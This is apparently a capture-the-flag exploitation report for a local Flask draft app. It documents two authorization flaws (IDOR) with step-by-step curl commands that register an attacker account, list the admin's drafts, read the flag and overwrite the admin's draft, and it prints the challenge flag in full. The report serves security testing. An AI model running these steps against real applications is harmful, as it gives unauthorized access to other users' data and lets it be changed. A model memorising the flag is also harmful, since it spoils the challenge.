# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Missing Ownership Validation on Draft Editing (CRITICAL - FLAG CAPTURE)

**Summary:**
- **Vulnerable location:** `GET/POST /edit_draft/<int:draft_id>` endpoint (app.py:106-119)
- **Overview:** Complete horizontal privilege escalation via IDOR - any authenticated user can read and modify ANY user's draft by manipulating the draft_id parameter. Successfully accessed admin's draft containing the CTF flag and demonstrated full write access.
- **Impact:** 
  - **FLAG CAPTURED:** `FLAG{c34546c435159be605fd29f73745d42be5659ed99e023bee7dbd97035a17426a}`
  - Complete unauthorized access to admin's sensitive data
  - Ability to modify/delete any user's draft content (data tampering)
  - Privacy violation across all users
- **Severity:** CRITICAL

**Prerequisites:**
- Valid authenticated session (any user account - can be self-registered)
- Knowledge of target draft ID (predictable sequential integers starting at 1)

**Exploitation Steps:**

1. **Register attacker account:**
   ```bash
   curl -X POST http://localhost:5004/register \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=attacker&password=pass123&confirm_password=pass123" \
     -c cookies.txt
   ```

2. **Login to obtain session cookie:**
   ```bash
   curl -X POST http://localhost:5004/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=attacker&password=pass123" \
     -c cookies.txt -b cookies.txt
   ```

3. **Access admin's FLAG-containing draft (draft_id=1):**
   ```bash
   curl -X GET http://localhost:5004/edit_draft/1 \
     -b cookies.txt
   ```
   
   **Expected Result:** HTML response containing the FLAG in the content textarea:
   ```html
   <textarea class="form-control" id="content" name="content" required>FLAG{c34546c435159be605fd29f73745d42be5659ed99e023bee7dbd97035a17426a}</textarea>
   ```

4. **Verify write access by modifying admin's draft:**
   ```bash
   curl -X POST http://localhost:5004/edit_draft/1 \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "title=admin_draft_COMPROMISED_BY_ATTACKER&content=FLAG{c34546c435159be605fd29f73745d42be5659ed99e023bee7dbd97035a17426a}" \
     -b cookies.txt
   ```

5. **Confirm modification persisted:**
   ```bash
   curl -X GET http://localhost:5004/admin/drafts \
     -b cookies.txt
   ```
   
   **Expected Result:** Modified title "admin_draft_COMPROMISED_BY_ATTACKER" now visible in admin's draft list

**Proof of Impact:**

**READ ACCESS (FLAG CAPTURE):**
- Successfully accessed `/edit_draft/1` as user "attacker" (not the owner)
- Retrieved admin's draft containing title "admin_draft" and content with CTF flag
- **FLAG EXTRACTED:** `FLAG{c34546c435159be605fd29f73745d42be5659ed99e023bee7dbd97035a17426a}`
- Screenshot evidence: `authz-vuln-01-flag-capture.png`

**WRITE ACCESS (DATA TAMPERING):**
- Successfully modified admin's draft title from "admin_draft" to "admin_draft_COMPROMISED_BY_ATTACKER"
- Modification persisted in database and visible on subsequent access
- Proves complete CRUD (Create, Read, Update, Delete) access to unauthorized resources
- Screenshot evidence: `authz-vuln-01-write-proof-modified-title.png`

**Root Cause:**
Missing ownership validation at app.py:109. The code retrieves the draft object with `Draft.query.get_or_404(draft_id)` but never checks if `draft.author_id == current_user.id` before allowing read/write operations. The `@login_required` decorator only validates authentication, not authorization.

**Notes:**
- Draft IDs are sequential and predictable (1, 2, 3...), making enumeration trivial
- Admin's draft (ID=1) is created on first application request via `@app.before_request` hook
- No rate limiting exists, allowing rapid enumeration of all drafts
- CSRF protection is disabled, making automated exploitation easier
- This vulnerability provides Level 4 (Critical Privilege Escalation) proof with complete admin data access

---

### AUTHZ-VULN-02: Missing Access Control on User Draft Lists (HIGH)

**Summary:**
- **Vulnerable location:** `GET /<username>/drafts` endpoint (app.py:121-126)
- **Overview:** Horizontal authorization bypass allowing any authenticated user to view ANY user's draft list by manipulating the username URL parameter, exposing draft titles and IDs.
- **Impact:**
  - Reconnaissance capability to discover admin's drafts
  - Metadata leakage (draft titles, draft IDs, usernames)
  - Enables targeted exploitation of AUTHZ-VULN-01 by revealing specific draft IDs
  - Username enumeration
- **Severity:** HIGH

**Prerequisites:**
- Valid authenticated session (any user account - can be self-registered)
- Knowledge of target username (easily enumerable: "admin", "user", etc.)

**Exploitation Steps:**

1. **Register and login as attacker (reuse session from AUTHZ-VULN-01):**
   ```bash
   # Session cookie already obtained from previous exploitation
   ```

2. **Enumerate admin's draft list:**
   ```bash
   curl -X GET http://localhost:5004/admin/drafts \
     -b cookies.txt
   ```
   
   **Expected Result:** HTML page showing admin's drafts with titles and edit links:
   ```html
   <h2>admin's Drafts</h2>
   <ul>
     <li>
       <h3>admin_draft</h3>
       <a href="/edit_draft/1">View and Edit</a>
     </li>
   </ul>
   ```

3. **Enumerate other users' draft lists (if additional users exist):**
   ```bash
   curl -X GET http://localhost:5004/user/drafts \
     -b cookies.txt
   ```

**Proof of Impact:**

**UNAUTHORIZED DATA ACCESS:**
- Successfully accessed `/admin/drafts` as user "attacker" (different user)
- Retrieved admin's complete draft list showing:
  - Draft title: "admin_draft" (later modified to "admin_draft_COMPROMISED_BY_ATTACKER")
  - Draft ID: 1
  - Direct edit link: `/edit_draft/1`
- Screenshot evidence: `authz-vuln-02-admin-drafts-enumeration.png`

**RECONNAISSANCE VALUE:**
- This vulnerability enables efficient reconnaissance before exploiting AUTHZ-VULN-01
- Reveals which users have drafts and the number of drafts per user
- Exposes draft IDs for targeted access via edit_draft endpoint
- Allows attacker to identify high-value targets (e.g., admin with FLAG)

**Root Cause:**
Missing access control check at app.py:124. The code retrieves the target user with `User.query.filter_by(username=username).first_or_404()` and their drafts with `Draft.query.filter_by(author=user)`, but never validates if `username == current_user.username` before exposing the draft list.

**Notes:**
- This vulnerability chains perfectly with AUTHZ-VULN-01 for complete attack flow:
  1. Use AUTHZ-VULN-02 to enumerate admin's drafts and discover FLAG-containing draft ID
  2. Use AUTHZ-VULN-01 to access and extract the FLAG
- Common usernames like "admin", "administrator", "root" are easily guessable
- No rate limiting exists, allowing rapid username enumeration
- Demonstrates Level 3 (Access Control Bypass Confirmed) with successful unauthorized access to protected data

---

## Exploitation Summary

**Total Vulnerabilities in Queue:** 2  
**Successfully Exploited:** 2 (100%)  
**Flags Captured:** 1 (CTF FLAG successfully extracted)

**Attack Chain:**
1. Self-register account "attacker" on public registration endpoint
2. Login to obtain authenticated session
3. Exploit AUTHZ-VULN-02 to enumerate admin's drafts (reconnaissance)
4. Exploit AUTHZ-VULN-01 to access admin's draft containing FLAG
5. Extract FLAG: `FLAG{c34546c435159be605fd29f73745d42be5659ed99e023bee7dbd97035a17426a}`
6. Demonstrate write access by modifying admin's draft title
7. Verify persistence of unauthorized modifications

**Time to Complete Exploitation:** < 5 minutes

**Key Findings:**
- Application has authentication but **ZERO authorization controls**
- All authenticated users have identical permissions (admin role is decorative only)
- Missing ownership validation enables complete horizontal privilege escalation
- No defensive measures encountered (no rate limiting, no CSRF protection, no audit logging)
- Exploitation requires only basic HTTP client (curl/browser) - no specialized tools needed
